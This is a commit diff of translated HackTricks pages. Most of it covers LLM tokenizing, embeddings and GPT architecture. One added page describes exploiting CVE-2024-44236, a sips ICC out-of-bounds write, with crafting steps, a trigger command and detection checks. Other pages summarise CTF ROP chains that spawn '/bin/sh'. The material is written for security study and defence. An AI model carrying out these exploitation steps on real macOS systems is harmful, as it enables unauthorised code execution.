Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll

This commit is contained in:
Translator 2025-07-08 16:48:13 +00:00
parent 667f22f3a8
commit 29066bbab8
21 changed files with 389 additions and 174 deletions

View File

@ -9,71 +9,71 @@
> [!TIP]
> Die doel van hierdie aanvanklike fase is baie eenvoudig: **Verdeel die invoer in tokens (ids) op 'n manier wat sin maak**.
### **Hoe Tokenizing Werk**
### **How Tokenizing Works**
1. **Die Teks Verdeeld:**
- **Basiese Tokenizer:** 'n Eenvoudige tokenizer kan teks in individuele woorde en leestekens verdeel, terwyl spaties verwyder word.
- _Voorbeeld:_\
1. **Splitting the Text:**
- **Basic Tokenizer:** 'n Eenvoudige tokenizer kan teks in individuele woorde en leestekens verdeel, terwyl spaties verwyder word.
- _Example:_\
Teks: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Skep 'n Woordeskat:**
- Om tokens in numeriese ID's om te skakel, word 'n **woordeskat** geskep. Hierdie woordeskat lys al die unieke tokens (woorde en simbole) en ken elkeen 'n spesifieke ID toe.
- **Spesiale Tokens:** Dit is spesiale simbole wat by die woordeskat gevoeg word om verskillende scenario's te hanteer:
- `[BOS]` (Begin van Sequentie): Dui die begin van 'n teks aan.
- `[EOS]` (Einde van Sequentie): Dui die einde van 'n teks aan.
- `[PAD]` (Padding): Gebruik om alle sequenties in 'n batch dieselfde lengte te maak.
- `[UNK]` (Onbekend): Verteenwoordig tokens wat nie in die woordeskat is nie.
- _Voorbeeld:_\
2. **Creating a Vocabulary:**
- Om tokens in numeriese ID's om te skakel, word 'n **vocabulary** geskep. Hierdie vocabulary lys al die unieke tokens (woorde en simbole) en ken elkeen 'n spesifieke ID toe.
- **Special Tokens:** Dit is spesiale simbole wat by die vocabulary gevoeg word om verskillende scenario's te hanteer:
- `[BOS]` (Beginning of Sequence): Dui die begin van 'n teks aan.
- `[EOS]` (End of Sequence): Dui die einde van 'n teks aan.
- `[PAD]` (Padding): Gebruik om alle reekse in 'n batch dieselfde lengte te maak.
- `[UNK]` (Unknown): Verteenwoordig tokens wat nie in die vocabulary is nie.
- _Example:_\
As `"Hello"` ID `64` toegeken word, `","` is `455`, `"world"` is `78`, en `"!"` is `467`, dan:\
`"Hello, world!"``[64, 455, 78, 467]`
- **Hanteer Onbekende Woorde:**\
As 'n woord soos `"Bye"` nie in die woordeskat is nie, word dit vervang met `[UNK]`.\
- **Handling Unknown Words:**\
As 'n woord soos `"Bye"` nie in die vocabulary is nie, word dit vervang met `[UNK]`.\
`"Bye, world!"``["[UNK]", ",", "world", "!"]``[987, 455, 78, 467]`\
_(Aneem `[UNK]` het ID `987`)_
### **Geavanceerde Tokenizing Metodes**
### **Advanced Tokenizing Methods**
Terwyl die basiese tokenizer goed werk vir eenvoudige teks, het dit beperkings, veral met groot woordeskatte en die hantering van nuwe of seldsame woorde. Geavanceerde tokenizing metodes spreek hierdie probleme aan deur teks in kleiner subeenhede op te breek of die tokenisering proses te optimaliseer.
Terwyl die basiese tokenizer goed werk vir eenvoudige teks, het dit beperkings, veral met groot vocabularies en die hantering van nuwe of seldsame woorde. Gevorderde tokenizing metodes spreek hierdie probleme aan deur teks in kleiner subeenhede op te breek of die tokenisering proses te optimaliseer.
1. **Byte Pair Encoding (BPE):**
- **Doel:** Verminder die grootte van die woordeskat en hanteer seldsame of onbekende woorde deur hulle op te breek in gereeld voorkomende byte pare.
- **Hoe Dit Werk:**
- **Purpose:** Verminder die grootte van die vocabulary en hanteer seldsame of onbekende woorde deur dit op te breek in gereeld voorkomende byte pare.
- **How It Works:**
- Begin met individuele karakters as tokens.
- Samevoeg iteratief die mees gereelde pare van tokens in 'n enkele token.
- Samevoeg die mees gereelde pare van tokens in 'n enkele token.
- Gaan voort totdat daar geen meer gereelde pare is wat saamgevoeg kan word nie.
- **Voordele:**
- **Benefits:**
- Elimineer die behoefte aan 'n `[UNK]` token aangesien alle woorde verteenwoordig kan word deur bestaande subwoord tokens te kombineer.
- Meer doeltreffende en buigsame woordeskat.
- _Voorbeeld:_\
`"playing"` kan as `["play", "ing"]` getokeniseer word as `"play"` en `"ing"` gereelde subwoorde is.
- Meer doeltreffende en buigsame vocabulary.
- _Example:_\
`"playing"` mag as `["play", "ing"]` getokeniseer word as `"play"` en `"ing"` gereelde subwoorde is.
2. **WordPiece:**
- **Gebruik Deur:** Modelle soos BERT.
- **Doel:** Soortgelyk aan BPE, breek dit woorde in subwoord eenhede om onbekende woorde te hanteer en die grootte van die woordeskat te verminder.
- **Hoe Dit Werk:**
- Begin met 'n basiswoordeskat van individuele karakters.
- **Used By:** Modelle soos BERT.
- **Purpose:** Soortgelyk aan BPE, breek dit woorde in subwoord eenhede op om onbekende woorde te hanteer en die vocabulary grootte te verminder.
- **How It Works:**
- Begin met 'n basis vocabulary van individuele karakters.
- Voeg iteratief die mees gereelde subwoord by wat die waarskynlikheid van die opleidingsdata maksimeer.
- Gebruik 'n probabilistiese model om te besluit watter subwoorde saamgevoeg moet word.
- **Voordele:**
- Balans tussen 'n hanteerbare woordeskatgrootte en effektiewe verteenwoordiging van woorde.
- **Benefits:**
- Balans tussen 'n hanteerbare vocabulary grootte en effektiewe verteenwoordiging van woorde.
- Hanteer seldsame en saamgestelde woorde doeltreffend.
- _Voorbeeld:_\
`"unhappiness"` kan as `["un", "happiness"]` of `["un", "happy", "ness"]` getokeniseer word, afhangende van die woordeskat.
3. **Unigram Taalmodel:**
- **Gebruik Deur:** Modelle soos SentencePiece.
- **Doel:** Gebruik 'n probabilistiese model om die mees waarskynlike stel van subwoord tokens te bepaal.
- **Hoe Dit Werk:**
- _Example:_\
`"unhappiness"` mag as `["un", "happiness"]` of `["un", "happy", "ness"]` getokeniseer word, afhangende van die vocabulary.
3. **Unigram Language Model:**
- **Used By:** Modelle soos SentencePiece.
- **Purpose:** Gebruik 'n probabilistiese model om die mees waarskynlike stel van subwoord tokens te bepaal.
- **How It Works:**
- Begin met 'n groot stel potensiële tokens.
- Verwyder iteratief tokens wat die minste verbetering in die model se waarskynlikheid van die opleidingsdata bied.
- Finaliseer 'n woordeskat waar elke woord verteenwoordig word deur die mees waarskynlike subwoord eenhede.
- **Voordele:**
- Finaliseer 'n vocabulary waar elke woord verteenwoordig word deur die mees waarskynlike subwoord eenhede.
- **Benefits:**
- Buigsame en kan taal meer natuurlik modelleer.
- Lei dikwels tot meer doeltreffende en kompakte tokenisering.
- _Voorbeeld:_\
`"internationalization"` kan in kleiner, betekenisvolle subwoorde soos `["international", "ization"]` getokeniseer word.
- Lei dikwels tot meer doeltreffende en kompakte tokeniseringen.
- _Example:_\
`"internationalization"` mag in kleiner, betekenisvolle subwoorde soos `["international", "ization"]` getokeniseer word.
## Code Voorbeeld
## Code Example
Laat ons dit beter verstaan vanuit 'n kodevoorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download a text to pre-train the model
import urllib.request

View File

@ -4,10 +4,10 @@
## **Data Sampling**
**Data Sampling** is 'n belangrike proses om data voor te berei vir die opleiding van groot taalmodelle (LLMs) soos GPT. Dit behels die organisering van teksdata in invoer- en teikensekwensies wat die model gebruik om te leer hoe om die volgende woord (of token) te voorspel op grond van die voorafgaande woorde. Korrek data sampling verseker dat die model effektief taalpatrone en afhanklikhede vasvang.
**Data Sampling** is 'n belangrike proses in die voorbereiding van data vir die opleiding van groot taalmodelle (LLMs) soos GPT. Dit behels die organisering van teksdata in invoer- en teikensekwensies wat die model gebruik om te leer hoe om die volgende woord (of token) te voorspel op grond van die voorafgaande woorde. Korrek data sampling verseker dat die model effektief taalpatrone en afhanklikhede vasvang.
> [!TIP]
> Die doel van hierdie tweede fase is baie eenvoudig: **Steek die invoerdata en berei dit voor vir die opleidingsfase deur gewoonlik die dataset in sinne van 'n spesifieke lengte te skei en ook die verwagte reaksie te genereer.**
> Die doel van hierdie tweede fase is baie eenvoudig: **Monster die invoerdata en berei dit voor vir die opleidingsfase deur gewoonlik die dataset in sinne van 'n spesifieke lengte te skei en ook die verwagte reaksie te genereer.**
### **Why Data Sampling Matters**
@ -22,7 +22,7 @@ LLMs soos GPT word opgelei om teks te genereer of te voorspel deur die konteks w
### **Step-by-Step Example**
Kom ons loop deur 'n voorbeeld om data sampling te illustreer.
Laat ons deur 'n voorbeeld stap om data sampling te illustreer.
**Example Text**
```arduino
@ -86,12 +86,12 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
**Understanding Stride**
- **Stride of 1:** Die venster beweeg vorentoe met een token elke keer, wat lei tot hoogs oorvleuelende reekse. Dit kan lei tot beter leer van kontekstuele verhoudings, maar kan die risiko van oorpassing verhoog aangesien soortgelyke datapunte herhaal word.
- **Stride of 2:** Die venster beweeg vorentoe met twee tokens elke keer, wat oorvleueling verminder. Dit verminder redundans en rekenkundige las, maar mag sommige kontekstuele nuanses mis.
- **Stride of 2:** Die venster beweeg vorentoe met twee tokens elke keer, wat oorvleueling verminder. Dit verminder redundans en rekenaarlading, maar mag sommige kontekstuele nuanses mis.
- **Stride Equal to max_length:** Die venster beweeg vorentoe met die hele venstergrootte, wat lei tot nie-oorvleuelende reekse. Dit minimaliseer data redundans, maar mag die model se vermoë om afhanklikhede oor reekse te leer beperk.
**Example with Stride of 2:**
Met dieselfde getokeniseerde teks en `max_length` van 4:
Gebruik die dieselfde getokeniseerde teks en `max_length` van 4:
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
@ -99,7 +99,7 @@ Met dieselfde getokeniseerde teks en `max_length` van 4:
## Code Example
Kom ons verstaan dit beter vanuit 'n kodevoorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download the text to pre-train the LLM
import urllib.request

View File

@ -26,7 +26,7 @@ Na die tokenisering van teksdata, is die volgende kritieke stap in die voorberei
### **Inisialisering van Token Embeddings**
Aan die begin van die opleiding, word token embeddings tipies geinisialiseer met klein random waardes. Hierdie aanvanklike waardes word aangepas (fyngestem) tydens opleiding om die tokens se betekenisse beter te verteenwoordig op grond van die opleidingsdata.
Aan die begin van die opleiding, word token embeddings tipies geinisialiseer met klein random waardes. Hierdie aanvanklike waardes word aangepas (fyngestem) tydens die opleiding om die tokens se betekenisse beter te verteenwoordig op grond van die opleidingsdata.
**PyTorch Voorbeeld:**
```python
@ -84,8 +84,8 @@ Tydens opleiding word elke token in die invoerdata omgeskakel na sy ooreenstemme
**Data Struktuur:**
- Elke batch word verteenwoordig as 'n 3D tensor met vorm `(batch_size, max_length, embedding_dim)`.
- Vir ons voorbeeld, sal die vorm `(8, 4, 256)` wees.
- Elke batch word verteenwoordig as 'n 3D tensor met die vorm `(batch_size, max_length, embedding_dim)`.
- Vir ons voorbeeld sal die vorm wees `(8, 4, 256)`.
**Visualisering:**
```css
@ -146,7 +146,7 @@ Terwyl token embeddings die betekenis van individuele tokens vasvang, kodeer hul
### **Hoe Posisionele Embeddings Geïntegreer Word:**
- **Dieselfde Dimensies:** Posisionele embeddings het dieselfde dimensionaliteit as token embeddings.
- **Byvoeging:** Hulle word by token embeddings gevoeg, wat token identiteit met posisionele inligting kombineer sonder om die algehele dimensionaliteit te verhoog.
- **Byvoeging:** Hulle word by token embeddings gevoeg, wat token identiteit kombineer met posisionele inligting sonder om die algehele dimensionaliteit te verhoog.
**Voorbeeld van Byvoeging van Posisionele Embeddings:**
@ -163,7 +163,7 @@ Combined Embedding = Token Embedding + Positional Embedding
## Kode Voorbeeld
Following with the code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Volg met die kode voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Use previous code...

View File

@ -18,7 +18,7 @@ LLM argitektuur voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/m
1. **Invoer (Getokeniseerde Teks)**: Die proses begin met getokeniseerde teks, wat in numeriese voorstellings omgeskakel word.
2. **Token Inbed en Posisionele Inbed Laag**: Die getokeniseerde teks word deur 'n **token inbed** laag en 'n **posisionele inbed laag** gestuur, wat die posisie van tokens in 'n volgorde vasvang, krities vir die begrip van woordorde.
3. **Transformer Blokke**: Die model bevat **12 transformer blokke**, elk met verskeie lae. Hierdie blokke herhaal die volgende volgorde:
- **Gemaskerde Multi-Kop Aandag**: Laat die model toe om op verskillende dele van die invoer teks gelyktydig te fokus.
- **Gemaskerde Multi-Kop Aandag**: Laat die model toe om op verskillende dele van die invoerteks gelyktydig te fokus.
- **Laag Normalisering**: 'n Normalisering stap om opleiding te stabiliseer en te verbeter.
- **Voed Voor Laag**: Verantwoordelik vir die verwerking van die inligting van die aandag laag en om voorspellings oor die volgende token te maak.
- **Dropout Lae**: Hierdie lae voorkom oorpassing deur eenhede tydens opleiding lukraak te laat val.
@ -219,7 +219,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Die doel van die gebruik van hierdie funksie na lineêre lae binne die FeedForward-laag is om die lineêre data te verander na nie-lineêr om die model in staat te stel om komplekse, nie-lineêre verhoudings te leer.
> Die doel van die gebruik van hierdie funksie na lineêre lae binne die FeedForward-lae is om die lineêre data te verander na nie-lineêr om die model in staat te stel om komplekse, nie-lineêre verhoudings te leer.
### **FeedForward Neurale Netwerk**
@ -245,14 +245,14 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Doel en Funksionaliteit**
- **Posisie-gewys FeedForward Netwerk:** Pas 'n twee-laag ten volle verbind netwerk op elke posisie apart en identies toe.
- **Posisiegewys FeedForward Netwerk:** Pas 'n twee-laag ten volle verbind netwerk op elke posisie apart en identies toe.
- **Laag Besonderhede:**
- **Eerste Lineêre Laag:** Verhoog die dimensie van `emb_dim` na `4 * emb_dim`.
- **Eerste Lineêre Laag:** Brei die dimensie uit van `emb_dim` na `4 * emb_dim`.
- **GELU Aktivering:** Pas nie-lineariteit toe.
- **Tweede Lineêre Laag:** Verminder die dimensie terug na `emb_dim`.
> [!TIP]
> Soos jy kan sien, gebruik die Feed Forward netwerk 3 lae. Die eerste een is 'n lineêre laag wat die dimensies met 4 sal vermenigvuldig deur lineêre gewigte (parameters om binne die model te train). Dan word die GELU-funksie in al daardie dimensies gebruik om nie-lineêre variasies toe te pas om ryker verteenwoordigings te vang en uiteindelik word 'n ander lineêre laag gebruik om terug te keer na die oorspronklike grootte van dimensies.
> Soos jy kan sien, gebruik die Feed Forward netwerk 3 lae. Die eerste een is 'n lineêre laag wat die dimensies met 4 sal vermenigvuldig met behulp van lineêre gewigte (parameters om binne die model te train). Dan word die GELU-funksie in al daardie dimensies gebruik om nie-lineêre variasies toe te pas om ryker verteenwoordigings te vang, en uiteindelik word 'n ander lineêre laag gebruik om terug te keer na die oorspronklike grootte van dimensies.
### **Multi-Head Aandag Meganisme**
@ -273,7 +273,7 @@ Dit is reeds in 'n vroeëre afdeling verduidelik.
> [!TIP]
> Die doel van hierdie netwerk is om die verhoudings tussen tokens in dieselfde konteks te vind. Boonop word die tokens in verskillende koppe verdeel om oorfitting te voorkom, alhoewel die finale verhoudings wat per kop gevind word aan die einde van hierdie netwerk gekombineer word.
>
> Boonop, tydens opleiding, word 'n **oorsaaklike masker** toegepas sodat latere tokens nie in ag geneem word wanneer die spesifieke verhoudings met 'n token gekyk word nie en 'n **dropout** word ook toegepas om **oorfitting te voorkom**.
> Boonop, tydens opleiding, word 'n **oorsaaklike masker** toegepas sodat latere tokens nie in ag geneem word wanneer die spesifieke verhoudings met 'n token gekyk word nie, en 'n **dropout** word ook toegepas om **oorfitting te voorkom**.
### **Laag** Normalisering
```python
@ -298,7 +298,7 @@ return self.scale * norm_x + self.shift
- **`eps`:** 'n Klein konstante (`1e-5`) wat by die variansie gevoeg word om deling deur nul tydens normalisering te voorkom.
- **`scale` en `shift`:** Leerbare parameters (`nn.Parameter`) wat die model toelaat om die genormaliseerde uitset te skaal en te verskuif. Hulle word onderskeidelik geinitialiseer na eenhede en nulles.
- **Normalisering Proses:**
- **Bereken Gemiddelde (`mean`):** Bereken die gemiddelde van die inset `x` oor die embedding dimensie (`dim=-1`), terwyl die dimensie vir broadcasting behou word (`keepdim=True`).
- **Bereken Gemiddelde (`mean`):** Bereken die gemiddelde van die inset `x` oor die embedding dimensie (`dim=-1`), terwyl die dimensie vir uitsending behou word (`keepdim=True`).
- **Bereken Variansie (`var`):** Bereken die variansie van `x` oor die embedding dimensie, terwyl die dimensie ook behou word. Die `unbiased=False` parameter verseker dat die variansie bereken word met die bevooroordeelde skatter (deling deur `N` in plaas van `N-1`), wat toepaslik is wanneer daar oor kenmerke eerder as monsters genormaliseer word.
- **Normaliseer (`norm_x`):** Trek die gemiddelde van `x` af en deel deur die vierkantswortel van die variansie plus `eps`.
- **Skaal en Verskuif:** Pas die leerbare `scale` en `shift` parameters toe op die genormaliseerde uitset.
@ -350,9 +350,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Doel en Funksionaliteit**
- **Samestelling van Lae:** Kombineer multi-head aandag, feedforward netwerk, laag normalisering, en residuele verbindings.
- **Laag Normalisering:** Toegepas voor die aandag en feedforward lae vir stabiele opleiding.
- **Residuele Verbindinge (Kortpaaie):** Voeg die inset van 'n laag by sy uitvoer om die gradiëntvloei te verbeter en die opleiding van diep netwerke moontlik te maak.
- **Samestelling van Lae:** Kombineer multi-head aandag, feedforward netwerk, laanormalisering, en residuele verbindings.
- **Laanormalisering:** Toegepas voor die aandag en feedforward lae vir stabiele opleiding.
- **Residuele Verbindings (Kortpaaie):** Voeg die inset van 'n laag by sy uitvoer om die gradiëntvloei te verbeter en die opleiding van diep netwerke moontlik te maak.
- **Dropout:** Toegepas na aandag en feedforward lae vir regulering.
#### **Stap-vir-Stap Funksionaliteit**
@ -378,7 +378,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
### **GPTModel**
_Skappe is as kommentaar bygevoeg om die skappe van matrikse beter te verstaan:_
_Vorms is as kommentaar bygevoeg om die vorms van matrikse beter te verstaan:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
@ -503,7 +503,7 @@ Daar is 12 transformer blokke, so ons sal die parameters vir een blok bereken en
- **Uitset Projektering (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **Berekeninge:**
- **Elkeen van `W_query`, `W_key`, `W_value`:**
- **Elk van `W_query`, `W_key`, `W_value`:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
@ -564,7 +564,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
- **Berekeninge:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
pythonCopy codelayer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Totale Parameters per Transformer Blok**
@ -581,7 +581,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
**a. Finale Lae Normalisering**
- **Parameters:** `2 * emb_dim` (skaal en skuif)
- **Parameters:** `2 * emb_dim` (skaal en verskui)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
@ -612,7 +612,7 @@ total_params = 163,009,536
Om 'n model te hê wat die volgende token voorspel soos die vorige, is dit net nodig om die laaste tokenwaardes van die uitvoer te neem (aangesien dit die waardes van die voorspelde token sal wees), wat 'n **waarde per inskrywing in die woordeskat** sal wees en dan die `softmax` funksie te gebruik om die dimensies in waarskynlikhede te normaliseer wat 1 optel en dan die indeks van die grootste inskrywing te kry, wat die indeks van die woord binne die woordeskat sal wees.
Code van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context

View File

@ -795,6 +795,7 @@
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)

View File

@ -0,0 +1,53 @@
# WWW2Exec - sips ICC Profiel Uit-die-grense Skryf (CVE-2024-44236)
{{#include ../../banners/hacktricks-training.md}}
## Oorsig
'n Uit-die-grense skryf kwesbaarheid in Apple macOS Scriptable Image Processing System (`sips`) ICC profiel parser (macOS 15.0.1, sips-307) as gevolg van onvanpaste validasie van die `offsetToCLUT` veld in `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. 'n Gemaakte ICC-lêer kan nul-skrywe tot 16 bytes oor die heap buffer aktiveer, wat heap metadata of funksie wysers korrupteer en willekeurige kode-uitvoering moontlik maak (CVE-2024-44236).
## Kwetsbare Kode
Die kwesbare funksie lees en nulmaak 16 bytes wat begin vanaf 'n aanvaller-beheerde offset sonder om te verseker dat dit binne die toegewyde buffer lê:
```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
}
```
Slegs 'n kontrole `offsetToCLUT <= totalDataLength` word uitgevoer. Deur `offsetToCLUT == tagDataSize` in te stel, indeks die lus tot 16 bytes na die einde van `buffer`, wat aangrensende heap metadata korrupteer.
## Exploitasiestappe
1. **Skep 'n kwaadwillige `.icc` profiel:**
- Bou die ICC-kop (128 bytes) met handtekening `acsp` en 'n enkele `lutAToBType` of `lutBToAType` tag-invoer.
- Stel in die tag-tabel `offsetToCLUT` gelyk aan die tag se `size` (`tagDataSize`).
- Plaas aanvaller-beheerde data onmiddellik na die tag data blok om heap metadata te oorskryf.
2. **Trigger parsing:**
```bash
sips --verifyColor malicious.icc
```
3. **Heap metadata korrupsie:** Die OOB nul-skrywings oorskryf allokator metadata of aangrensende wysers, wat die aanvaller in staat stel om die vloei van beheer te kapen en arbitrêre kode-uitvoering in die konteks van die `sips` proses te bereik.
## Impak
Suksesvolle eksploitatie lei tot afstandelike arbitrêre kode-uitvoering met gebruikersprivilege op macOS-stelsels wat die kwesbare `sips` nut gebruik.
## Opsporing
- Monitor lêer oordragte op algemene protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
- Inspekteer oorgedra lêers met handtekening `acsp`.
- Vir elke `mAB ` of `mBA ` tag, verifieer of die `Offset to CLUT` veld gelyk is aan die `Tag data size`.
- Merk as verdag indien hierdie voorwaarde nagekom word.
## Verwysings
- ZDI blog: CVE-2024-44236: Afstandelike Kode-uitvoering Kwesbaarheid in Apple macOS sips Nut
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
- Apple Oktober 2024 Sekuriteitsopdatering (patch wat CVE-2024-44236 verskaf)
https://support.apple.com/en-us/121564
{{#include /banners/hacktricks-training.md}}

View File

@ -13,6 +13,8 @@ Hier kan jy egter 'n paar mooi **voorbeelde** vind:
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, geen nx. Oorskry 'n grootte om 'n tipe buffer overflow te kry waar alles as 'n dubbele getal gebruik gaan word en gesorteer word van kleinste na grootste, so dit is nodig om 'n shellcode te skep wat aan daardie vereiste voldoen, met inagneming dat die canary nie van sy posisie verplaas moet word nie en uiteindelik die RIP oorskryf met 'n adres na ret, wat aan die vorige vereistes voldoen en die grootste adres 'n nuwe adres wat na die begin van die stapel wys (geleek deur die program) sodat dit moontlik is om die ret te gebruik om daarheen te spring.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, geen relro, canary, nx, geen pie. Daar is 'n off-by-one in 'n array in die stapel wat dit moontlik maak om 'n pointer te beheer wat WWW toeken. (dit skryf die som van al die getalle van die array in die oorskryfde adres deur die off-by-one in die array). Die stapel is beheer, sodat die GOT `exit` adres oorskryf word met `pop rdi; ret`, en in die stapel word die adres na `main` bygevoeg (wat terugloop na `main`). 'n ROP-ketting om die adres van die put in die GOT te lek met behulp van puts word gebruik (`exit` sal aangeroep word, so dit sal `pop rdi; ret` aanroep, wat dus hierdie ketting in die stapel uitvoer). Laastens word 'n nuwe ROP-ketting wat ret2lib uitvoer, gebruik.
- 64bits, geen relro, canary, nx, geen pie. Daar is 'n off-by-one in 'n array in die stapel wat dit moontlik maak om 'n pointer te beheer wat WWW toeken. (dit skryf die som van al die getalle van die array in die oorskryfde adres deur die off-by-one in die array). Die stapel is beheer, sodat die GOT `exit` adres oorskryf word met `pop rdi; ret`, en in die stapel word die adres na `main` bygevoeg (terugloop na `main`). 'n ROP-ketting om die adres van put in die GOT te lek met behulp van puts word gebruik (`exit` sal aangeroep word, so dit sal `pop rdi; ret` aanroep, wat hierdie ketting in die stapel uitvoer). Uiteindelik word 'n nuwe ROP-ketting wat ret2lib uitvoer, gebruik.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, geen relro, geen canary, nx, pie. Misbruik 'n slegte indeksering om adresse van libc en heap vanaf die stapel te lek. Misbruik die buffer overflow om 'n ret2lib aan te roep wat `system('/bin/sh')` aanroep (die heap adres is nodig om 'n kontrole te omseil).
{{#include /banners/hacktricks-training.md}}

View File

@ -2,19 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
**As jy 'n binêre teenkom wat deur 'n kanarie en PIE (Posisie Onafhanklike Uitvoerbare) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**
**As jy 'n binêre teëkom wat deur 'n kanarie en PIE (Posisie Onafhanklike Uitvoerbare) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**
![](<../../../images/image (865).png>)
> [!NOTE]
> [!TIP]
> Let daarop dat **`checksec`** dalk nie sal vind dat 'n binêre deur 'n kanarie beskerm word nie as dit staties gecompileer is en nie in staat is om die funksie te identifiseer nie.\
> Jy kan egter dit handmatig opgemerk as jy vind dat 'n waarde in die stapel gestoor word aan die begin van 'n funksie-aanroep en hierdie waarde voor die uitgang nagegaan word.
## Brute force Kanarie
Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat **kindproses elke keer fork wanneer jy 'n nuwe verbinding met dit maak** (netwerkdiens), want elke keer as jy met dit verbind, **sal dieselfde kanarie gebruik word**.
Die beste manier om 'n eenvoudige kanarie te omseil, is as die binêre 'n program is wat **kindproses elke keer fork wanneer jy 'n nuwe verbinding met dit maak** (netwerkdiens), want elke keer as jy met dit verbind, **sal dieselfde kanarie gebruik word**.
Dan is die beste manier om die kanarie te omseil net om dit **brute-force per karakter** te doen, en jy kan uitvind of die geraamde kanarie-byte korrek was deur te kyk of die program gecrash het of sy gewone vloei voortgaan. In hierdie voorbeeld **brute-forseert die funksie 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek geraamde byte en 'n slegte byte net deur **na te gaan** of 'n **antwoord** deur die bediener teruggestuur word (nog 'n manier in **ander situasie** kan wees om 'n **try/except** te gebruik):
Dan is die beste manier om die kanarie te omseil net om dit **brute-force per karakter** te doen, en jy kan uitvind of die geraamde kanarie-byte korrek was deur te kyk of die program gecrash het of sy gewone vloei voortgaan. In hierdie voorbeeld **brute-forseert die funksie 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek geraamde byte en 'n slegte byte net deur **te kyk** of 'n **antwoord** deur die bediener teruggestuur word (nog 'n manier in **ander situasie** kan wees om 'n **try/except** te gebruik):
### Voorbeeld 1
